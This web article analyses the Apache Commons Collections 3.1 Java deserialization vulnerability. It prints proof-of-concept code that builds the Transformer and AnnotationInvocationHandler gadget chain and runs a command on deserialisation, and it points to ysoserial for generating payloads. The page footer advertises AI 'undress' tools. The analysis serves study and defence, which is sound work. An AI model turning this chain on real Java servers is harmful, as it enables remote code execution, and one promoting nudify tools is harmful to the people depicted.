


Example analysis of Apache Commons Collections deserialization vulnerability
1. Introduction
Although the deserialization vulnerability of this component has been analyzed by many articles, it still needs to be recorded here. After all, this is significant for the development of Java deserialization vulnerabilities.
Apache Commons Collections is a very commonly used tool library in Java application development. It adds many powerful data structures, simplifies the development of Java applications, and has become a recognized standard for Java to process collection data. Many common applications such as Weblogic, WebSphere, Jboss, Jenkins, etc. all use the Apache Commons Collections tool library. When a deserialization vulnerability occurs in the tool library, these applications are also affected. This is why the deserialization vulnerability is so serious. reason.
2. Test environment
jdk1.7.0_21 commons-collections-3.1.jar
Apache Commons Collections component historical version download address: http: //archive.apache.org/dist/commons/collections/binaries/, or use maven dependency:
commons-collections commons-collections 3.1
This component has been integrated in the Java deserialization vulnerability exploitation tool ysoserial (https://github.com/frohoff/ysoserial) Vulnerability exploit payload; during penetration testing, just look for the entry point of Java deserialization according to the characteristics of Java serialized data (data starting with rO0AB in hexadecimal aced or base64 encoding format), and based on the Web application Guessing that the CommonsCollections component may exist, you can directly use the ysoserial tool to directly generate the payload for vulnerability exploitation.
3. Vulnerability Analysis
Here we analyze the code execution vulnerability exploit chain constructed using the Transformer interface and several classes that implement this interface.
Transformer interface
The definition of the Transformer interface is very simple. It only defines a transform() method. According to the documentation, this method is mainly used for object conversion. There are quite a few classes that implement this interface. Here we mainly use the following three implementation classes: ConstantTransformer, InvokerTransformer and ChainedTransformer.
package org.apache.commons.collections; public interface Transformer { //对象转换 public Object transform(Object input); }
ChainedTransformer class
The ChainedTransformer class defines a Transformer[] array, and when implementing the transform() method, it traverses the array elements in sequence and calls the Transformer implementation class corresponding to the array element. The transform() method strings together multiple Transformer objects.
public class ChainedTransformer implements Transformer, Serializable { private final Transformer[] iTransformers; ... public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } ... }
InvokerTransformer Class
The transform() method of the InvokerTransformer class mainly calls a method of the incoming parameter object through the reflection mechanism. You only need to set the method name and parameter type when constructing the InvokerTransformer object. and parameter values.
public class InvokerTransformer implements Transformer, Serializable { /** The method name to call */ private final String iMethodName; /** The array of reflection parameter types */ private final Class[] iParamTypes; /** The array of reflection arguments */ private final Object[] iArgs; ... public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } //简化后的transform()方法,通过反射机制调用对象的方法 public Object transform(Object input) { ... Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); ... } }
ConstantTransformer class
The ConstantTransformer class is very simple and directly returns the incoming object.
public class ConstantTransformer implements Transformer, Serializable { private final Object iConstant; ... public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; } ... }
In view of the aforementioned situation, we aim to implement the execution of the code Runtime.getRuntime().exec(). Obviously, we need to use the transform() method of the InvokerTransformer class to implement the reflection call. As shown below, this is the source of code execution:
package orz.vuln.poc; import org.apache.commons.collections.functors.InvokerTransformer; public class CommonsCollections { public static void main(String[] args) throws Exception { //通过InvokeTransformer类反射调用Runtime代码 InvokerTransformer invoker1 = new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}); InvokerTransformer invoker2 = new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}); InvokerTransformer invoker3 = new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}); invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class))); /*正常反射调用Runtime代码 Class clazz = Runtime.class; Method m1 = clazz.getMethod("getRuntime", null); Method m2 = clazz.getMethod("exec", String.class); m2.invoke(m1.invoke(clazz, null), "calc.exe"); */ } }
Further, we found that we can use the transform() method in the ChainedTransformer class instead of invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class ))), that is, initialize the above multiple InvokerTransformer objects into Transformer[] arrays, and use Runtime.class to initialize the ConstantTransformer class object. In this way, a Transformer call chain that can trigger code execution using any object can be constructed:
package orz.vuln.poc; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform("foo"); } }
Next, we hope to trigger the call to the transform() method of the Transformer object through deserialization to achieve the purpose of code execution.
TransformedMap class
Apache Commons Collections defines a TransformedMap class to perform some transformation on the Map. This class is instantiated by calling the decorate() method, as shown below:
And there is also a checkSetValue() method in this class, in which the transform() method of calling the Transformer object is implemented; according to the method description, the checkSetValue() method Will be called when the setValue() method is called:
# Therefore, our idea is to initialize the TransformedMap object by using the Map object and the constructed malicious Transformer object, and then call setValue () method modifies the value of the Map object. The code is as follows:
package orz.vuln.poc; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); //chainedTransformer.transform("foo"); Map map = new HashMap(); map.put("foo", "bar"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next(); entry.setValue("test"); } }
Continue to look for the place where the execution of the setValue() method is triggered through deserialization, and finally found it in the readObject() method of the AnnotationInvocationHandler class.
AnnotationInvocationHandler类
AnnotationInvocationHandler类的readObject()方法如下所示:
由于该类不提供公开的构造方法进行初始化,所以,我们通过反射调用该类的构造方法,并使用恶意的TransformedMap对象进行初始化,就可以生成攻击payload。在执行entry.setValue()方法之前,需要满足一个判断条件
根据代码溯源可知,clazz变量是一个注解子类对象的属性值,如果要满足clazz变量不为null的话,在Class clazz=map.get(str)中则需要满足str是我们使用的注解类的属性;在漏洞利用代码中我们使用了java.lang.annotation.Target注解,而该注解只有一个属性value,因此我们在map.put()时,需要保证key的值是value。
最终,完整漏洞利用代码如下:
package orz.vuln.poc; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); //chainedTransformer.transform("foo"); Map map = new HashMap(); map.put("value", "bar");//由于使用java.lang.annotation.Target,此处key值必须为value Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); //Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next(); //entry.setValue("test"); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, transformedMap); FileOutputStream fos = new FileOutputStream("D:/commonscollections.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(instance); oos.close(); fos.close(); FileInputStream fis = new FileInputStream("D:/commonscollections.ser"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); ois.close(); fis.close(); } }
The above is the detailed content of Example analysis of Apache Commons Collections deserialization vulnerability. For more information, please follow other related articles on the PHP Chinese website!

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics



Java uses the frequency() function of the Collections class to calculate the number of occurrences of a specified element in a collection. In Java programming, the Collections class is a utility class that contains many static methods for operating on collections. One of them is the frequency() function, which counts the number of occurrences of a specified element in a collection. This function is very simple and easy to use, providing convenience and flexibility to Java developers. Below is a sample code showing how to use

Java uses the binarySearch() function of the Collections class to perform a binary search in an ordered collection. Binary search is an efficient algorithm for finding specific elements in an ordered collection. In Java, we can use the binarySearch() function of the Collections class to implement binary search. This article will introduce how to use the binarySearch() function to search in an ordered collection and provide specific code examples. The basic idea of binary search algorithm

Java uses the shuffle() function of the Collections class to disrupt the order of elements in the collection. In the Java programming language, the Collections class is a tool class that provides various static methods for operating collections. One of them is the shuffle() function, which can be used to shuffle the order of elements in a collection. This article demonstrates how to use this function and provides corresponding code examples. First, we need to import the Collections class in the java.util package,

Java uses the sort() function of the Collections class to sort collections. In Java, we often need to sort collections. The Collections class provides a sort() function that can easily sort collections. This article will introduce how to use the sort() function of the Collections class to sort collections, with code examples. First, we need to import the java.util package to use the Collections class. imp

Java uses the max() function of the Collections class to obtain the maximum value in a collection. In Java programming, we often need to obtain the maximum value from a collection. In order to simplify this process and improve the readability and efficiency of the code, Java provides the max() function of the Collections class. This function helps us find the maximum value in the set easily. This article will introduce how to use the max() function of the Collections class, with corresponding code examples. Coll

How to use the collections module for advanced data structure operations in Python 2.x Introduction: In Python’s standard library, the collections module provides some advanced data structures that can facilitate various operations. This article will introduce several data structures mainly provided by the collections module and give relevant code examples. 1. CounterCounter is a simple and powerful counter tool that can be used to count each element in an iterable object.

1. Introduction Although there are many articles on the Internet that analyze the deserialization vulnerability of this component, I still record it here. After all, this is significant for the development of Java deserialization vulnerabilities. Apache Commons Collections is a very commonly used tool library in Java application development. It adds many powerful data structures, simplifies the development of Java applications, and has become a recognized standard for Java to process collection data. Many common applications such as Weblogic, WebSphere, Jboss, Jenkins, etc. all use the Apache Commons Collections tool library. When a deserialization vulnerability occurs in the tool library, this

Laravel development: How to use LaravelCollections to manipulate collection data? Collections are a very powerful and practical tool in Laravel development. Developers can use LaravelCollections to easily manipulate and process collection data. In this article, we will introduce how to use LaravelCollections to manipulate collection data. 1. What is a collection?
